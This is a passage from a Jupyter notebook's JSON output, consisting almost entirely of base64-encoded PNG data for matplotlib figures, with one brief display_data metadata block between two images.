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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1c21faf2b0>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "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